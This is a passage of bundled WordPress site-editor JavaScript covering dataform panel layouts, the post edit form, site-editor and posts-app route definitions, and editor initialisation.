children: [title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
size: 13,
children: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}), onClose && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
label: (0,external_wp_i18n_namespaceObject.__)('Close'),
icon: close_small,
onClick: onClose,
size: "small"
})]
})
});
}
function PanelDropdown({
fieldDefinition,
popoverAnchor,
labelPosition = 'side',
data,
onChange,
field
}) {
const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
const form = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (isCombinedField(field)) {
return {
type: 'regular',
fields: field.children.map(child => {
if (typeof child === 'string') {
return {
id: child
};
}
return child;
})
};
}
// If not explicit children return the field id itself.
return {
type: 'regular',
fields: [{
id: field.id
}]
};
}, [field]);
// Memoize popoverProps to avoid returning a new object every time.
const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
// Anchor the popover to the middle of the entire row so that it doesn't
// move around when the label changes.
anchor: popoverAnchor,
placement: 'left-start',
offset: 36,
shift: true
}), [popoverAnchor]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
contentClassName: "dataforms-layouts-panel__field-dropdown",
popoverProps: popoverProps,
focusOnMount: true,
toggleProps: {
size: 'compact',
variant: 'tertiary',
tooltipPosition: 'middle left'
},
renderToggle: ({
isOpen,
onToggle
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
className: "dataforms-layouts-panel__field-control",
size: "compact",
variant: ['none', 'top'].includes(labelPosition) ? 'link' : 'tertiary',
"aria-expanded": isOpen,
"aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Field name.
(0,external_wp_i18n_namespaceObject._x)('Edit %s', 'field'), fieldLabel),
onClick: onToggle,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.render, {
item: data
})
}),
renderContent: ({
onClose
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DropdownHeader, {
title: fieldLabel,
onClose: onClose
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
data: data,
form: form,
onChange: onChange,
children: (FieldLayout, nestedField) => {
var _form$fields;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldLayout, {
data: data,
field: nestedField,
onChange: onChange,
hideLabelFromVision: ((_form$fields = form?.fields) !== null && _form$fields !== void 0 ? _form$fields : []).length < 2
}, nestedField.id);
}
})]
})
});
}
function FormPanelField({
data,
field,
onChange
}) {
var _field$labelPosition;
const {
fields
} = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
const fieldDefinition = fields.find(fieldDef => {
// Default to the first child if it is a combined field.
if (isCombinedField(field)) {
const children = field.children.filter(child => typeof child === 'string' || !isCombinedField(child));
const firstChildFieldId = typeof children[0] === 'string' ? children[0] : children[0].id;
return fieldDef.id === firstChildFieldId;
}
return fieldDef.id === field.id;
});
const labelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : 'side';
// Use internal state instead of a ref to make sure that the component
// re-renders when the popover's anchor updates.
const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
if (!fieldDefinition) {
return null;
}
const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
if (labelPosition === 'top') {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataforms-layouts-panel__field",
spacing: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-panel__field-label",
style: {
paddingBottom: 0
},
children: fieldLabel
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-panel__field-control",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
field: field,
popoverAnchor: popoverAnchor,
fieldDefinition: fieldDefinition,
data: data,
onChange: onChange,
labelPosition: labelPosition
})
})]
});
}
if (labelPosition === 'none') {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-panel__field",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
field: field,
popoverAnchor: popoverAnchor,
fieldDefinition: fieldDefinition,
data: data,
onChange: onChange,
labelPosition: labelPosition
})
});
}
// Defaults to label position side.
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
ref: setPopoverAnchor,
className: "dataforms-layouts-panel__field",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-panel__field-label",
children: fieldLabel
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-panel__field-control",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PanelDropdown, {
field: field,
popoverAnchor: popoverAnchor,
fieldDefinition: fieldDefinition,
data: data,
onChange: onChange,
labelPosition: labelPosition
})
})]
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/index.js
/**
* Internal dependencies
*/
const FORM_FIELD_LAYOUTS = [{
type: 'regular',
component: FormRegularField
}, {
type: 'panel',
component: FormPanelField
}];
function getFormFieldLayout(type) {
return FORM_FIELD_LAYOUTS.find(layout => layout.type === type);
}
;// ./node_modules/@wordpress/dataviews/build-module/normalize-form-fields.js
/**
* Internal dependencies
*/
function normalizeFormFields(form) {
var _form$type, _form$labelPosition, _form$fields;
let layout = 'regular';
if (['regular', 'panel'].includes((_form$type = form.type) !== null && _form$type !== void 0 ? _form$type : '')) {
layout = form.type;
}
const labelPosition = (_form$labelPosition = form.labelPosition) !== null && _form$labelPosition !== void 0 ? _form$labelPosition : layout === 'regular' ? 'top' : 'side';
return ((_form$fields = form.fields) !== null && _form$fields !== void 0 ? _form$fields : []).map(field => {
var _field$layout, _field$labelPosition;
if (typeof field === 'string') {
return {
id: field,
layout,
labelPosition
};
}
const fieldLayout = (_field$layout = field.layout) !== null && _field$layout !== void 0 ? _field$layout : layout;
const fieldLabelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : fieldLayout === 'regular' ? 'top' : 'side';
return {
...field,
layout: fieldLayout,
labelPosition: fieldLabelPosition
};
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/data-form-layout.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DataFormLayout({
data,
form,
onChange,
children
}) {
const {
fields: fieldDefinitions
} = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
function getFieldDefinition(field) {
const fieldId = typeof field === 'string' ? field : field.id;
return fieldDefinitions.find(fieldDefinition => fieldDefinition.id === fieldId);
}
const normalizedFormFields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFormFields(form), [form]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 2,
children: normalizedFormFields.map(formField => {
const FieldLayout = getFormFieldLayout(formField.layout)?.component;
if (!FieldLayout) {
return null;
}
const fieldDefinition = !isCombinedField(formField) ? getFieldDefinition(formField) : undefined;
if (fieldDefinition && fieldDefinition.isVisible && !fieldDefinition.isVisible(data)) {
return null;
}
if (children) {
return children(FieldLayout, formField);
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldLayout, {
data: data,
field: formField,
onChange: onChange
}, formField.id);
})
});
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataform/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DataForm({
data,
form,
fields,
onChange
}) {
const normalizedFields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFields(fields), [fields]);
if (!form.fields) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormProvider, {
fields: normalizedFields,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
data: data,
form: form,
onChange: onChange
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/post-edit/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
usePostFields: post_edit_usePostFields,
PostCardPanel
} = unlock(external_wp_editor_namespaceObject.privateApis);
const fieldsWithBulkEditSupport = ['title', 'status', 'date', 'author', 'comment_status'];
function PostEditForm({
postType,
postId
}) {
const ids = (0,external_wp_element_namespaceObject.useMemo)(() => postId.split(','), [postId]);
const {
record,
hasFinishedResolution
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const args = ['postType', postType, ids[0]];
const {
getEditedEntityRecord,
hasFinishedResolution: hasFinished
} = select(external_wp_coreData_namespaceObject.store);
return {
record: ids.length === 1 ? getEditedEntityRecord(...args) : null,
hasFinishedResolution: hasFinished('getEditedEntityRecord', args)
};
}, [postType, ids]);
const [multiEdits, setMultiEdits] = (0,external_wp_element_namespaceObject.useState)({});
const {
editEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const {
fields: _fields
} = post_edit_usePostFields({
postType
});
const fields = (0,external_wp_element_namespaceObject.useMemo)(() => _fields?.map(field => {
if (field.id === 'status') {
return {
...field,
elements: field.elements.filter(element => element.value !== 'trash')
};
}
return field;
}), [_fields]);
const form = (0,external_wp_element_namespaceObject.useMemo)(() => ({
type: 'panel',
fields: [{
id: 'featured_media',
layout: 'regular'
}, {
id: 'status',
label: (0,external_wp_i18n_namespaceObject.__)('Status & Visibility'),
children: ['status', 'password']
}, 'author', 'date', 'slug', 'parent', 'comment_status', {
label: (0,external_wp_i18n_namespaceObject.__)('Template'),
labelPosition: 'side',
id: 'template',
layout: 'regular'
}].filter(field => ids.length === 1 || fieldsWithBulkEditSupport.includes(field))
}), [ids]);
const onChange = edits => {
for (const id of ids) {
if (edits.status && edits.status !== 'future' && record?.status === 'future' && new Date(record.date) > new Date()) {
edits.date = null;
}
if (edits.status && edits.status === 'private' && record.password) {
edits.password = '';
}
editEntityRecord('postType', postType, id, edits);
if (ids.length > 1) {
setMultiEdits(prev => ({
...prev,
...edits
}));
}
}
};
(0,external_wp_element_namespaceObject.useEffect)(() => {
setMultiEdits({});
}, [ids]);
const {
ExperimentalBlockEditorProvider
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const settings = usePatternSettings();
/**
* The template field depends on the block editor settings.
* This is a workaround to ensure that the block editor settings are available.
* For more information, see: https://github.com/WordPress/gutenberg/issues/67521
*/
const fieldsWithDependency = (0,external_wp_element_namespaceObject.useMemo)(() => {
return fields.map(field => {
if (field.id === 'template') {
return {
...field,
Edit: data => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ExperimentalBlockEditorProvider, {
settings: settings,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.Edit, {
...data
})
})
};
}
return field;
});
}, [fields, settings]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostCardPanel, {
postType: postType,
postId: ids
}), hasFinishedResolution && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataForm, {
data: ids.length === 1 ? record : multiEdits,
fields: fieldsWithDependency,
form: form,
onChange: onChange
})]
});
}
function PostEdit({
postType,
postId
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Page, {
className: dist_clsx('edit-site-post-edit', {
'is-empty': !postId
}),
label: (0,external_wp_i18n_namespaceObject.__)('Post Edit'),
children: [postId && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEditForm, {
postType: postType,
postId: postId
}), !postId && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
children: (0,external_wp_i18n_namespaceObject.__)('Select a page to edit')
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/pages.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: pages_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobilePagesView() {
const {
query = {}
} = pages_useLocation();
const {
canvas = 'view'
} = query;
return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
postType: "page"
});
}
const pagesRoute = {
name: 'pages',
path: '/page',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Pages'),
backPath: "/",
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
postType: "page"
})
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
content({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
postType: "page"
}) : undefined;
},
preview({
query,
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
if (!isBlockTheme) {
return undefined;
}
const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
return isListView ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : undefined;
},
mobile({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobilePagesView, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
edit({
query
}) {
var _query$layout;
const hasQuickEdit = ((_query$layout = query.layout) !== null && _query$layout !== void 0 ? _query$layout : 'list') !== 'list' && !!query.quickEdit;
return hasQuickEdit ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEdit, {
postType: "page",
postId: query.postId
}) : undefined;
}
},
widths: {
content({
query
}) {
const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
return isListView ? 380 : undefined;
},
edit({
query
}) {
var _query$layout2;
const hasQuickEdit = ((_query$layout2 = query.layout) !== null && _query$layout2 !== void 0 ? _query$layout2 : 'list') !== 'list' && !!query.quickEdit;
return hasQuickEdit ? 380 : undefined;
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/page-item.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const pageItemRoute = {
name: 'page-item',
path: '/page/:postId',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Pages'),
backPath: "/",
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
postType: "page"
})
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
mobile({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
preview({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/stylebook.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const stylebookRoute = {
name: 'stylebook',
path: '/stylebook',
areas: {
sidebar({
siteData
}) {
return isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Styles'),
backPath: "/",
description: (0,external_wp_i18n_namespaceObject.__)(`Preview your website's visual identity: colors, typography, and blocks.`)
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
preview({
siteData
}) {
return isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, {
isStatic: true
}) : undefined;
},
mobile({
siteData
}) {
return isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, {
isStatic: true
}) : undefined;
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/notfound.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function NotFoundError() {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
status: "error",
isDismissible: false,
children: (0,external_wp_i18n_namespaceObject.__)('The requested page could not be found. Please check the URL.')
});
}
const notFoundRoute = {
name: 'notfound',
path: '*',
areas: {
sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}),
mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {
customDescription: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NotFoundError, {})
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
padding: 2,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NotFoundError, {})
})
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const site_editor_routes_routes = [pageItemRoute, pagesRoute, templateItemRoute, templatesRoute, templatePartItemRoute, patternItemRoute, patternsRoute, navigationItemRoute, navigationRoute, stylesRoute, homeRoute, stylebookRoute, notFoundRoute];
function useRegisterSiteEditorRoutes() {
const registry = (0,external_wp_data_namespaceObject.useRegistry)();
const {
registerRoute
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
(0,external_wp_element_namespaceObject.useEffect)(() => {
registry.batch(() => {
site_editor_routes_routes.forEach(registerRoute);
});
}, [registry, registerRoute]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/app/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
RouterProvider
} = unlock(external_wp_router_namespaceObject.privateApis);
function AppLayout() {
useCommonCommands();
useSetCommandContext();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutWithGlobalStylesProvider, {});
}
function App() {
useRegisterSiteEditorRoutes();
const {
routes,
currentTheme,
editorSettings
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
return {
routes: unlock(select(store)).getRoutes(),
currentTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme(),
// This is a temp solution until the has_theme_json value is available for the current theme.
editorSettings: select(store).getSettings()
};
}, []);
const beforeNavigate = (0,external_wp_element_namespaceObject.useCallback)(({
path,
query
}) => {
if (!isPreviewingTheme()) {
return {
path,
query
};
}
return {
path,
query: {
...query,
wp_theme_preview: 'wp_theme_preview' in query ? query.wp_theme_preview : currentlyPreviewingTheme()
}
};
}, []);
const matchResolverArgsValue = (0,external_wp_element_namespaceObject.useMemo)(() => ({
siteData: {
currentTheme,
editorSettings
}
}), [currentTheme, editorSettings]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RouterProvider, {
routes: routes,
pathArg: "p",
beforeNavigate: beforeNavigate,
matchResolverArgs: matchResolverArgsValue,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AppLayout, {})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/deprecated.js
/**
* WordPress dependencies
*/
const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php');
const deprecateSlot = name => {
external_wp_deprecated_default()(`wp.editPost.${name}`, {
since: '6.6',
alternative: `wp.editor.${name}`
});
};
/* eslint-disable jsdoc/require-param */
/**
* @see PluginMoreMenuItem in @wordpress/editor package.
*/
function PluginMoreMenuItem(props) {
if (!isSiteEditor) {
return null;
}
deprecateSlot('PluginMoreMenuItem');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginMoreMenuItem, {
...props
});
}
/**
* @see PluginSidebar in @wordpress/editor package.
*/
function PluginSidebar(props) {
if (!isSiteEditor) {
return null;
}
deprecateSlot('PluginSidebar');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebar, {
...props
});
}
/**
* @see PluginSidebarMoreMenuItem in @wordpress/editor package.
*/
function PluginSidebarMoreMenuItem(props) {
if (!isSiteEditor) {
return null;
}
deprecateSlot('PluginSidebarMoreMenuItem');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebarMoreMenuItem, {
...props
});
}
/* eslint-enable jsdoc/require-param */
;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/posts.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: posts_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobilePostsView() {
const {
query = {}
} = posts_useLocation();
const {
canvas = 'view'
} = query;
return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
postType: "post"
});
}
const postsRoute = {
name: 'posts',
path: '/',
areas: {
sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Posts'),
isRoot: true,
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
postType: "post"
})
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, {
postType: "post"
}),
preview({
query
}) {
const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
return isListView ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
isPostsList: true
}) : undefined;
},
mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobilePostsView, {}),
edit({
query
}) {
var _query$layout;
const hasQuickEdit = ((_query$layout = query.layout) !== null && _query$layout !== void 0 ? _query$layout : 'list') === 'list' && !!query.quickEdit;
return hasQuickEdit ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEdit, {
postType: "post",
postId: query.postId
}) : undefined;
}
},
widths: {
content({
query
}) {
const isListView = (query.layout === 'list' || !query.layout) && query.isCustom !== 'true';
return isListView ? 380 : undefined;
},
edit({
query
}) {
var _query$layout2;
const hasQuickEdit = ((_query$layout2 = query.layout) !== null && _query$layout2 !== void 0 ? _query$layout2 : 'list') === 'list' && !!query.quickEdit;
return hasQuickEdit ? 380 : undefined;
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/post-item.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const postItemRoute = {
name: 'post-item',
path: '/post/:postId',
areas: {
sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: (0,external_wp_i18n_namespaceObject.__)('Posts'),
isRoot: true,
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, {
postType: "post"
})
}),
mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
isPostsList: true
}),
preview: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
isPostsList: true
})
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const posts_app_routes_routes = [postItemRoute, postsRoute];
function useRegisterPostsAppRoutes() {
const registry = (0,external_wp_data_namespaceObject.useRegistry)();
const {
registerRoute
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
(0,external_wp_element_namespaceObject.useEffect)(() => {
registry.batch(() => {
posts_app_routes_routes.forEach(registerRoute);
});
}, [registry, registerRoute]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
RouterProvider: posts_app_RouterProvider
} = unlock(external_wp_router_namespaceObject.privateApis);
function PostsApp() {
useRegisterPostsAppRoutes();
const routes = (0,external_wp_data_namespaceObject.useSelect)(select => {
return unlock(select(store)).getRoutes();
}, []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(posts_app_RouterProvider, {
routes: routes,
pathArg: "p",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutWithGlobalStylesProvider, {})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/posts.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Internal dependencies
*/
/**
* Initializes the "Posts Dashboard"
* @param {string} id ID of the root element to render the screen in.
* @param {Object} settings Editor settings.
*/
function initializePostsDashboard(id, settings) {
if (true) {
return;
}
const target = document.getElementById(id);
const root = (0,external_wp_element_namespaceObject.createRoot)(target);
(0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter(({
name
}) => name !== 'core/freeform');
(0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
(0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).setFreeformFallbackBlockName('core/html');
(0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({
inserter: false
});
(0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({
inserter: false
});
if (false) {}
// We dispatch actions and update the store synchronously before rendering
// so that we won't trigger unnecessary re-renders with useEffect.
(0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/edit-site', {
welcomeGuide: true,
welcomeGuideStyles: true,
welcomeGuidePage: true,
welcomeGuideTemplate: true
});
(0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core', {
allowRightClickOverrides: true,
distractionFree: false,
editorMode: 'visual',
editorTool: 'edit',
fixedToolbar: false,
focusMode: false,
inactivePanels: [],
keepCaretInsideBlock: false,
openPanels: ['post-status'],
showBlockBreadcrumbs: true,
showListViewByDefault: false,
enableChoosePatternModal: true
});
(0,external_wp_data_namespaceObject.dispatch)(store).updateSettings(settings);
// Prevent the default browser action for files dropped outside of dropzones.
window.addEventListener('dragover', e => e.preventDefault(), false);
window.addEventListener('drop', e => e.preventDefault(), false);
root.render(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostsApp, {})
}));
return root;
}
;// ./node_modules/@wordpress/edit-site/build-module/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
registerCoreBlockBindingsSources
} = unlock(external_wp_editor_namespaceObject.privateApis);
/**
* Initializes the site editor screen.
*
* @param {string} id ID of the root element to render the screen in.
* @param {Object} settings Editor settings.
*/
function initializeEditor(id, settings) {
const target = document.getElementById(id);
const root = (0,external_wp_element_namespaceObject.createRoot)(target);
(0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter(({
name
}) => name !== 'core/freeform');
(0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
registerCoreBlockBindingsSources();
(0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).setFreeformFallbackBlockName('core/html');
